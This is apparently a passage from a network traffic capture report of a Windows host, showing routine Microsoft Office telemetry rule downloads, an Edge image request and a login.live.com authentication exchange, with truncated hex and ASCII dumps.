2024-11-22 22:06:53 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:53 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 23cbbb45-601e-0084-4e3d-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220653Z-15b8b599d88phfhnhC1TEBr51n000000027g000000003p2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:53 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:53 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e2ff131b-f01e-0085-7676-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220653Z-174c587ffdfb485jhC1TEBmc1s00000001u000000000ht0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:53 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:53 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 02a30eba-b01e-0001-5b7b-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220653Z-178bfbc474bmqmgjhC1NYCy16c00000003rg000000002hqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:53 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:53 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:53 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 9a395038-201e-0071-807e-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220653Z-174c587ffdfb485jhC1TEBmc1s00000001t000000000pp0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:53 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:53 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:53 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220653Z-174c587ffdfb74xqhC1TEBhabc000000020000000000g4hn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:54 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49925	104.117.182.18	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:54 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:54 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 05:16:37 GMT X-Source-Length: 62552 X-Datacenter: eastus X-ActivityId: b6de683a-38cf-4a4e-bd01-aa1a6ca52471 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=155273 Expires: Sun, 24 Nov 2024 17:14:47 GMT Date: Fri, 22 Nov 2024 22:06:54 GMT Connection: close
2024-11-22 22:06:54 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:55 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:55 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a5f5ebba-f01e-003f-29f6-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220655Z-178bfbc474bgvl54hC1NYCsfuw00000003kg0000000097fv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:55 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:55 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220655Z-178bfbc474bgvl54hC1NYCsfuw00000003m00000000078um x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:55 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:55 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:56 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 4d626343-d01e-0028-4b44-3c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220655Z-178bfbc474bw8bwphC1NYC38b400000003c000000000fg67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:56 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:55 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:55 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220655Z-178bfbc474bv587zhC1NYCny5w00000003hg000000000er4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:56 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49930	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:55 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-22 22:06:55 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:06:56 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 22:05:56 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C551_BL2 x-ms-request-id: 1e04ae8c-4dc0-483a-be09-ac91f2687db4 PPServer: PPV: 30 H: BL02EPF0001D8A3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:06:55 GMT Connection: close Content-Length: 11409
2024-11-22 22:06:56 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49931	13.107.246.63	443

